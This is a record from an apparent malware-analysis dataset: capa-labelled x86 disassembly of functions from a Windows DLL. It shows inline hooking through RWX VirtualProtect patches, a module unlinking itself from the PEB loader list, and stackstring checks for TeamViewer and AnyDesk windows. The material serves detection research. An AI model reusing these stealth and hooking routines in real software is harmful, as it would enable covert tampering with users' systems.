joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000d400
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10041af1
mov eax, dword fs:[0]
push eax
sub esp, 0x28
mov eax, dword [0x1005b00c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x34], edx
mov ebx, ecx
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x30], eax
mov eax, dword [0x1006439c]
test eax, eax
jne 0x1000d599
mov eax, dword fs:[0x2c]
mov ecx, dword [0x1005be84]
movaps xmm0, xmmword [0x10052f00]
movups xmmword [ebp - 0x24], xmm0
mov byte [ebp - 0x14], 0x81
mov esi, dword [eax + ecx*4]
mov eax, dword [esi + 0x194c]
test al, 1
jne 0x1000d4bc
or eax, 1
mov dword [esi + 0x194c], eax
mov dword [ebp - 4], 0
xorps xmm0, xmm0
movlpd qword [ebp - 0x2c], xmm0
mov edx, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x2c]
mov byte [esi + 0x1625], 1
mov al, byte [ebp + ecx - 0x24]
mov byte [ecx + esi + 0x1614], al
add ecx, 1
adc edx, 0
jne 0x1000d4a8
cmp ecx, 0x11
jb 0x1000d490
push 0x10049520
call fcn.1004042d
add esp, 4
mov dword [ebp - 4], 0xffffffff
lea edi, [esi + 0x1614]
mov ecx, edi
call fcn.1003cf60
mov eax, dword [esi + 0xbd8]
mov dword [ebp - 0x20], 0x384b9ed6
mov dword [ebp - 0x1c], 0x5d893045
mov dword [ebp - 0x18], 0x7169bbe5
test al, 1
jne 0x1000d53c
or eax, 1
mov dword [esi + 0xbd8], eax
mov dword [ebp - 4], 1
xorps xmm0, xmm0
movlpd qword [ebp - 0x2c], xmm0
mov edx, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x2c]
mov byte [esi + 0x338], 1
nop dword [eax]
mov al, byte [ebp + ecx - 0x20]
mov byte [ecx + esi + 0x32c], al
add ecx, 1
adc edx, 0
jne 0x1000d528
cmp ecx, 0xc
jb 0x1000d510
push 0x10049570
call fcn.1004042d
add esp, 4
mov dword [ebp - 4], 0xffffffff
lea esi, [esi + 0x32c]
mov ecx, esi
call fcn.1003cfc0
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
test edi, edi
je 0x1000d592
push 7
call fcn.10040384
add esp, 4
mov esi, eax
lea eax, [ebp - 0x28]
push eax
push 0x40
push 7
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov cx, word [edi]
lea eax, [esi + 2]
sub edi, eax
mov word [esi], cx
sub edi, 3
mov byte [eax], 0xe9
mov dword [eax + 1], edi
add eax, 0xfffffffe
jmp 0x1000d594
xor eax, eax
mov dword [0x1006439c], eax
push dword [ebp - 0x30]
mov dword [0x10061b3c], eax
push 0x64
push dword [ebp - 0x34]
push ebx
call eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1003fb29
mov esp, ebp
pop ebp
ret
Function at 0x1000d5d0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10041b81
mov eax, dword fs:[0]
push eax
sub esp, 0x20
mov eax, dword [0x1005b00c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, ecx
mov eax, dword [0x10064400]
test eax, eax
jne 0x1000d769
mov eax, dword fs:[0x2c]
mov ecx, dword [0x1005be84]
movaps xmm0, xmmword [0x10052f80]
movups xmmword [ebp - 0x24], xmm0
mov dword [ebp - 0x14], 0x6b20df2b
mov esi, dword [eax + ecx*4]
mov eax, dword [esi + 0xd1c]
test al, 1
jne 0x1000d68c
or eax, 1
mov dword [esi + 0xd1c], eax
mov dword [ebp - 4], 0
xorps xmm0, xmm0
movlpd qword [ebp - 0x2c], xmm0
mov edx, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x2c]
mov byte [esi + 0x1bc], 1
nop word [eax + eax]
mov al, byte [ebp + ecx - 0x24]
mov byte [ecx + esi + 0x1a8], al
add ecx, 1
adc edx, 0
jne 0x1000d678
cmp ecx, 0x14
jb 0x1000d660
push 0x100495c0
call fcn.1004042d
add esp, 4
mov dword [ebp - 4], 0xffffffff
lea edi, [esi + 0x1a8]
mov ecx, edi
call fcn.1003cea0
mov eax, dword [esi + 0xac8]
mov dword [ebp - 0x1c], 0x220bfa18
mov dword [ebp - 0x18], 0x69ab1e69
mov dword [ebp - 0x14], 0x6b29df2b
test al, 1
jne 0x1000d70c
or eax, 1
mov dword [esi + 0xac8], eax
mov dword [ebp - 4], 1
xorps xmm0, xmm0
movlpd qword [ebp - 0x2c], xmm0
mov edx, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x2c]
mov byte [esi + 0xab0], 1
nop dword [eax]
mov al, byte [ebp + ecx - 0x1c]
mov byte [ecx + esi + 0xaa4], al
add ecx, 1
adc edx, 0
jne 0x1000d6f8
cmp ecx, 0xc
jb 0x1000d6e0
push 0x10049610
call fcn.1004042d
add esp, 4
mov dword [ebp - 4], 0xffffffff
lea esi, [esi + 0xaa4]
mov ecx, esi
call fcn.1003cf00
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
test edi, edi
je 0x1000d762
push 7
call fcn.10040384
add esp, 4
mov esi, eax
lea eax, [ebp - 0x28]
push eax
push 0x40
push 7
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov cx, word [edi]
lea eax, [esi + 2]
sub edi, eax
mov word [esi], cx
sub edi, 3
mov byte [eax], 0xe9
mov dword [eax + 1], edi
add eax, 0xfffffffe
jmp 0x1000d764
xor eax, eax
mov dword [0x10064400], eax
push ebx
mov dword [0x1005cf4c], eax
call eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1003fb29
mov esp, ebp
pop ebp
ret
Function at 0x10018d00
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x1005b00c]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [0x1005dc70], 0
push esi
push edi
jle 0x10018d66
mov ecx, dword [0x10061f94]
mov eax, dword [0x1005e718]
add eax, 0x1c
push eax
mov edx, dword [ecx]
call dword [edx + 4]
cmp dword [eax], 0
je 0x10018d66
mov ecx, dword [0x10061f94]
mov eax, dword [0x1005e718]
add eax, 0x144
push eax
mov edx, dword [ecx]
call dword [edx + 4]
mov edi, eax
test edi, edi
je 0x10018da2
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 8]
push eax
push 0x40
push 1
push edi
call esi
mov byte [edi], 0xcc
jmp 0x10018d96
mov ecx, dword [0x10061f94]
mov eax, dword [0x1005e718]
add eax, 0x144
push eax
mov edx, dword [ecx]
call dword [edx + 4]
mov edi, eax
test edi, edi
je 0x10018da2
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 8]
push eax
push 0x40
push 1
push edi
call esi
mov byte [edi], 0x68
lea eax, [ebp - 8]
push eax
push dword [ebp - 8]
push 1
push edi
call esi
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.1003fb29
mov esp, ebp
pop ebp
ret
Function at 0x1001ad20
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10042381
mov eax, dword fs:[0]
push eax
sub esp, 8
mov eax, dword [0x1005b00c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword fs:[0x2c]
mov ecx, dword [0x1005be84]
mov ecx, dword [eax + ecx*4]
mov eax, dword [0x100643c8]
cmp eax, dword [ecx + 0xc]
jle 0x1001adb5
push 0x100643c8
call fcn.1003fe41
add esp, 4
cmp dword [0x100643c8], 0xffffffff
jne 0x1001adb5
mov dword [ebp - 4], 0
mov ecx, dword [0x10061f94]
mov eax, dword [0x1005e718]
add eax, 0x148
push eax
mov edx, dword [ecx]
call dword [edx + 4]
add eax, 4
mov dword [ebp - 4], 0xffffffff
push 0x100643c8
mov dword [0x1006437c], eax
call fcn.1003fdf7
add esp, 4
mov ecx, dword [0x10061f94]
mov eax, dword [0x1005e718]
add eax, 0x1c
push eax
mov edx, dword [ecx]
call dword [edx + 4]
cmp dword [eax], 0
je 0x1001ae40
cmp dword [0x1005dc48], 0
je 0x1001ae40
mov eax, dword [0x1005e718]
mov ecx, dword [eax + 0x298]
mov eax, dword [0x1005d098]
mov ecx, dword [eax + ecx]
call fcn.1000e880
mov esi, eax
test esi, esi
je 0x1001ae40
mov ecx, dword [0x10061f94]
push 0x1005d49c
mov edx, dword [ecx]
call dword [edx + 4]
test eax, eax
je 0x1001ae40
mov edx, dword [0x10062548]
add edx, eax
cmp edx, eax
jbe 0x1001ae40
mov ecx, esi
call edx
test eax, eax
jle 0x1001ae40
mov edi, dword [0x1006437c]
test edi, edi
je 0x1001ae6d
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 0x14]
push eax
push 0x40
push 4
push edi
call esi
mov dword [edi], 0x3a8312a2
jmp 0x1001ae61
mov edi, dword [0x1006437c]
test edi, edi
je 0x1001ae6d
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 0x14]
push eax
push 0x40
push 4
push edi
call esi
mov dword [edi], 0x3e19999a
lea eax, [ebp - 0x14]
push eax
push dword [ebp - 0x14]
push 4
push edi
call esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1003fb29
mov esp, ebp
pop ebp
ret
Function at 0x1001ae90
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x1005b00c]
xor eax, ebp
mov dword [ebp - 4], eax
mov ecx, dword [0x10061f94]
mov eax, dword [0x1005e718]
push esi
push edi
mov edx, dword [ecx]
add eax, 0x1c
push eax
call dword [edx + 4]
mov ecx, dword [0x10061f94]
cmp dword [eax], 0
mov edx, dword [ecx]
mov eax, dword [0x1005e718]
je 0x1001aef6
add eax, 0x150
cmp dword [0x10062bb0], 0
push eax
je 0x1001aefc
call dword [edx + 4]
mov edi, eax
test edi, edi
je 0x1001af25
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 8]
push eax
push 0x40
push 1
push edi
call esi
mov byte [edi], 0xcc
jmp 0x1001af19
add eax, 0x150
push eax
call dword [edx + 4]
mov edi, eax
test edi, edi
je 0x1001af25
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 8]
push eax
push 0x40
push 1
push edi
call esi
mov byte [edi], 0x6a
lea eax, [ebp - 8]
push eax
push dword [ebp - 8]
push 1
push edi
call esi
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.1003fb29
mov esp, ebp
pop ebp
ret

Function at 0x1001b4e0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
cmp dword [0x1005e118], 0
jne 0x1001b543
mov edx, 0x54
xor eax, eax
mov cl, byte [eax + 0x1005285c]
xor cl, dl
inc edx
mov byte [ebp + eax - 0x18], cl
and edx, 0x800000ff
jns 0x1001b513
dec edx
or edx, 0xffffff00
inc edx
inc eax
cmp eax, 0x15
jl 0x1001b4f6
lea eax, [ebp - 0x18]
mov byte [ebp - 3], 0
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
add eax, 0xcdda
mov dword [0x1005e118], 1
mov dword [0x1005d540], eax
add eax, 0x18
mov dword [0x1006265c], eax
mov esp, ebp
pop ebp
ret
Function at 0x1001baa0
Capabilities:
Contain obfuscated stackstrings
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
cmp dword [0x1005e4a4], 0
je 0x1001be4d
mov ecx, 0x4c
xor edx, edx
nop word [eax + eax]
mov al, byte [edx + 0x10052878]
xor al, cl
inc ecx
mov byte [ebp + edx - 0x20], al
and ecx, 0x800000ff
jns 0x1001badd
dec ecx
or ecx, 0xffffff00
inc ecx
inc edx
cmp edx, 0xb
jl 0x1001bac0
push esi
mov esi, dword [sym.imp.USER32.dll_FindWindowA]
lea eax, [ebp - 0x20]
push eax
push 0
mov byte [ebp - 0x15], 0
call esi
test eax, eax
jne 0x1001bb41
mov byte [ebp - 0xa], al
lea eax, [ebp - 0x14]
push eax
push 0
mov dword [ebp - 0x14], 0x6d616554
mov dword [ebp - 0x10], 0x77656956
mov word [ebp - 0xc], 0x7265
call esi
test eax, eax
jne 0x1001bb41
lea eax, [ebp - 8]
mov dword [ebp - 8], 0x44796e41
push eax
push 0
mov dword [ebp - 4], 0x6b7365
call esi
test eax, eax
jne 0x1001bb41
mov dword [0x1005cee8], eax
pop esi
mov esp, ebp
pop ebp
ret
xorps xmm0, xmm0
mov dword [0x1005dc0c], 0
mov eax, 1
mov dword [0x10061f70], 0
mov dword [0x1005cf34], 0
mov dword [0x1005d090], 0
mov dword [0x100623d0], 0
mov dword [0x10061b08], 0
mov dword [0x1005e7c4], 0
mov dword [0x1006266c], 0
mov dword [0x1005d4ac], 0
mov dword [0x10061f40], 0
mov dword [0x100623ec], 0
mov dword [0x1005e6c8], 0
mov dword [0x1005e78c], 0
mov dword [0x10062514], 0
mov dword [0x1005e380], 0
mov dword [0x1005e714], 0
mov dword [0x100623dc], 0
mov dword [0x10061ce0], 0
mov dword [0x1005dc48], 0
mov dword [0x1005e850], 0
mov dword [0x1005e314], 0
mov dword [0x1005d80c], 0
mov dword [0x10062bd8], 0
mov dword [0x1005cee4], 0
mov dword [0x1006239c], 0
mov dword [0x1005ceac], 0
mov dword [0x1005dec4], 0
mov dword [0x1005dc44], 0
mov dword [0x10061b0c], 0
mov dword [0x10062bd4], 0
mov dword [0x1005e7b0], 0
mov dword [0x1005dc94], 0
mov dword [0x1005dc08], 0
mov dword [0x10062544], 0
mov dword [0x1006262c], 0
mov dword [0x1005cf1c], 0
mov dword [0x10062584], 0
mov dword [0x1005ded0], 0
mov dword [0x100623a4], 0
mov dword [0x1005df04], 0
mov dword [0x1005dc8c], 0
mov dword [0x100623d8], 0
mov dword [0x10062668], 0
mov dword [0x100623e0], 0
mov dword [0x1005cf48], 0
mov dword [0x1005d7fc], 0
mov dword [0x1005e6dc], 0
mov dword [0x1005e6d4], 0
mov dword [0x1005dc70], 0
mov dword [0x10061f3c], 0
mov dword [0x1005d490], 0
mov dword [0x10062bb0], 0
mov dword [0x100625a0], 0
mov dword [0x1005cf08], 0
mov dword [0x1005e498], 0
mov dword [0x1005e4ac], 0
mov dword [0x1005e394], 0
mov dword [0x1005dee4], 0
mov dword [0x10061efc], 0
mov dword [0x10061b40], 0
mov dword [0x1005dc7c], 0
mov dword [0x100623a8], 0
mov dword [0x1005e708], 0
mov dword [0x1005cf40], 0
mov dword [0x100625b4], 0
mov dword [0x10061b44], 0
mov dword [0x1005e4b4], 0
mov dword [0x100625ac], 0
mov dword [0x1005e384], 0
mov dword [0x1005b040], 0
mov dword [0x1005cec4], 0
mov dword [0x1005dc78], 0
movups xmmword [0x1005d4c0], xmm0
mov dword [0x1005d4e8], 0
movups xmmword [0x1005d4d0], xmm0
mov dword [0x1005dc40], 1
movq qword [0x1005d4e0], xmm0
mov dword [0x1005cee8], eax
pop esi
mov esp, ebp
pop ebp
ret
mov dword [0x1005cee8], 0
mov esp, ebp
pop ebp
ret
Function at 0x1001e540
Capabilities:
Get hostname

Disassembly:
push 0x1005b038
push 0x1005cef4
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
call fcn.1001e450
cmp eax, 1
jne 0x1001e56c
push str.Win_XP
push 0x1005eab8
call fcn.10005690
add esp, 8
call fcn.1001e450
cmp eax, 2
jne 0x1001e588
push str.Win_Vista
push 0x1005eab8
call fcn.10005690
add esp, 8
call fcn.1001e450
cmp eax, 3
jne 0x1001e5a4
push str.Win_7
push 0x1005eab8
call fcn.10005690
add esp, 8
call fcn.1001e450
cmp eax, 4
jne 0x1001e5c0
push str.Win_8
push 0x1005eab8
call fcn.10005690
add esp, 8
call fcn.1001e450
cmp eax, 5
jne 0x1001e5dc
push str.Wi_10
push 0x1005eab8
call fcn.10005690
add esp, 8
ret
Function at 0x10038b70
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10047513
mov eax, dword fs:[0]
push eax
sub esp, 0x1c
mov eax, dword [0x1005b00c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword fs:[0x2c]
mov ecx, dword [0x1005be84]
mov dword [ebp - 0x1c], 0x640b0439
mov dword [ebp - 0x18], 0xab9dfb2d
mov byte [ebp - 0x14], 0x5d
mov esi, dword [eax + ecx*4]
mov eax, dword [esi + 0x3d4]
test al, 1
jne 0x10038c15
or eax, 1
mov dword [esi + 0x3d4], eax
xorps xmm0, xmm0
mov dword [ebp - 4], 0
movlpd qword [ebp - 0x28], xmm0
mov edx, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x28]
mov byte [esi + 0x26d], 1
nop dword [eax + eax]
mov al, byte [ebp + ecx - 0x1c]
mov byte [ecx + esi + 0x264], al
add ecx, 1
adc edx, 0
jne 0x10038c08
cmp ecx, 9
jb 0x10038bf0
push 0x100509a0
call fcn.1004042d
add esp, 4
cmp byte [esi + 0x26d], 0
lea edi, [esi + 0x264]
je 0x10038c5d
xorps xmm0, xmm0
movlpd qword [ebp - 0x28], xmm0
mov ebx, dword [ebp - 0x24]
mov esi, dword [ebp - 0x28]
mov ecx, esi
mov eax, 0x5d6f375d
and ecx, 7
mov edx, 0xc7f19f03
shl ecx, 3
call fcn.10040dd0
xor byte [esi + edi], al
add esi, 1
adc ebx, 0
jne 0x10038c59
cmp esi, 9
jb 0x10038c32
mov byte [edi + 9], 0
mov esi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push str.xxxxxxx____xxx_
push 0x10052b8c
push edi
call esi
mov edx, 0x128000
mov ecx, eax
call fcn.10007a00
add esp, 8
mov ebx, eax
push str.xxxxxxxxx
push 0x10052ba8
lea ecx, [ebx + 6]
push edi
mov dword [0x1005e114], ecx
call esi
mov edx, 0x128000
mov ecx, eax
call fcn.10007a00
add esp, 8
lea ecx, [eax + 6]
mov dword [0x1005e79c], ecx
test ebx, ebx
je 0x10038cc1
push ecx
push 0x100382b0
push ebx
call fcn.1000c8b0
jmp 0x10038ce8
test eax, eax
je 0x10038cd3
push ecx
push 0x100382d0
push eax
call fcn.1000c8b0
jmp 0x10038ce8
push 0
push 0
push 0
push 0x10038b50
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1003fb29
mov esp, ebp
pop ebp
ret
Function at 0x10038d10
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [0x1005b00c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov esi, edx
mov edi, ecx
cmp byte [edi], 0x6a
mov eax, dword [sym.imp.KERNEL32.dll_VirtualProtect]
jne 0x10038d8b
test esi, esi
je 0x10038d82
lea ecx, [ebp - 8]
push ecx
push 0x80
push 7
push esi
call eax
push 7
push edi
push esi
call sub.VCRUNTIME140.dll_memmove
add esp, 0xc
lea eax, [ebp - 0x10]
push eax
push dword [ebp - 8]
push 7
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push ecx
lea edx, [ebx + 7]
lea ecx, [esi + 7]
call fcn.1000c750
add esp, 4
lea eax, [ebp - 0x14]
push eax
push 0x40
push 5
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
jmp 0x10038de8
push ecx
lea edx, [ebx + 7]
lea ecx, [esi + 7]
jmp 0x10038de0
test esi, esi
je 0x10038dd9
lea ecx, [ebp - 0xc]
push ecx
push 0x80
push 5
push esi
call eax
push 5
push edi
push esi
call sub.VCRUNTIME140.dll_memmove
add esp, 0xc
lea eax, [ebp - 0x18]
push eax
push dword [ebp - 0xc]
push 5
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push ecx
lea edx, [ebx + 5]
lea ecx, [esi + 5]
call fcn.1000c750
add esp, 4
lea eax, [ebp - 0x1c]
push eax
push 0x40
push 7
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
jmp 0x10038de8
push ecx
lea edx, [ebx + 5]
lea ecx, [esi + 5]
call fcn.1000c750
add esp, 4
mov al, byte [edi]
cmp al, 0x8b
je 0x10038dff
cmp al, 0x6a
je 0x10038dff
push 5
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x10038d2a
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1003fb29
mov esp, ebp
pop ebp
ret
Function at 0x10039320
Capabilities:
Access peb ldr_data
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x1005b00c]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [ebp + 0xc], 1
push edi
mov edi, dword [ebp + 8]
jne 0x10039422
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov ecx, dword [eax + 0x18]
test ecx, ecx
je 0x100393a7
cmp ecx, edi
jne 0x1003939e
mov edx, dword [eax + 4]
test edx, edx
je 0x1003936c
mov ecx, dword [eax]
mov dword [edx], ecx
mov edx, dword [eax + 4]
test edx, edx
je 0x1003936c
mov ecx, dword [eax]
mov dword [ecx + 4], edx
mov edx, dword [eax + 0x14]
test edx, edx
je 0x10039378
mov ecx, dword [eax + 0x10]
mov dword [edx], ecx
mov edx, dword [eax + 0x10]
test edx, edx
je 0x10039385
mov ecx, dword [eax + 0x14]
mov dword [edx + 4], ecx
mov edx, dword [eax + 8]
test edx, edx
je 0x1003939e
mov ecx, dword [eax + 0xc]
mov dword [ecx], edx
mov edx, dword [eax + 8]
test edx, edx
je 0x1003939e
mov ecx, dword [eax + 0xc]
mov dword [edx + 4], ecx
mov eax, dword [eax]
mov ecx, dword [eax + 0x18]
test ecx, ecx
jne 0x10039351
push esi
push 0x1c
lea eax, [ebp - 0x20]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 0xc]
push eax
push 0x40
push dword [ebp - 0x14]
push dword [ebp - 0x20]
call esi
push 0xc8
push 0
push edi
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push 0
push dword [ebp - 0xc]
push dword [ebp - 0x14]
push dword [ebp - 0x20]
call esi
push dword [ebp - 0x14]
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x100249c0
push 0
push 0
call esi
push 0
push 0
push 0
push 0x10039050
push 0
push 0
call esi
pop esi
mov ecx, dword [ebp - 4]
mov eax, 1
xor ecx, ebp
pop edi
call fcn.1003fb29
mov esp, ebp
pop ebp
ret 0xc
Function at 0x100399f0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x14
push ebx
mov ebx, ecx
push esi
push edi
cmp dword [ebx + 0x38], 0
je 0x10039a1c
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const___long_long___int64__]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov eax, dword [ebx + 0x20]
mov esi, dword [ebp + 0xc]
mov edi, dword [ebp + 0x10]
mov dword [esp + 0x18], esi
mov eax, dword [eax]
mov dword [esp + 0x1c], edi
mov dword [esp + 0x14], eax
test eax, eax
je 0x10039a3e
mov eax, dword [ebx + 0x30]
mov eax, dword [eax]
jmp 0x10039a40
xor eax, eax
cdq
mov dword [esp + 0xc], eax
mov ecx, edx
mov dword [esp + 0x10], ecx
test edi, edi
jl 0x10039ac5
jg 0x10039a55
test esi, esi
je 0x10039ac5
test ecx, ecx
jl 0x10039aa8
jg 0x10039a5f
test eax, eax
je 0x10039aa8
cmp edi, ecx
jg 0x10039a73
jl 0x10039a69
cmp esi, eax
jae 0x10039a73
mov eax, esi
mov dword [esp + 0xc], esi
mov dword [esp + 0x10], edi
push eax
push dword [ebp + 8]
push dword [esp + 0x1c]
call sub.VCRUNTIME140.dll_memcpy
mov ecx, dword [esp + 0x18]
add esp, 0xc
mov eax, dword [ebx + 0x30]
sub esi, ecx
mov edx, dword [ebp + 8]
sbb edi, dword [esp + 0x10]
add edx, ecx
sub dword [eax], ecx
mov eax, dword [ebx + 0x20]
add dword [eax], ecx
test edi, edi
jl 0x10039ac5
jg 0x10039aab
test esi, esi
je 0x10039ac5
jmp 0x10039aab
mov edx, dword [ebp + 8]
mov eax, dword [ebx + 0x4c]
test eax, eax
je 0x10039ac5
push eax
push esi
push 1
push edx
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
sub esi, eax
sbb edi, 0
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x1c]
sub eax, esi
sbb edx, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc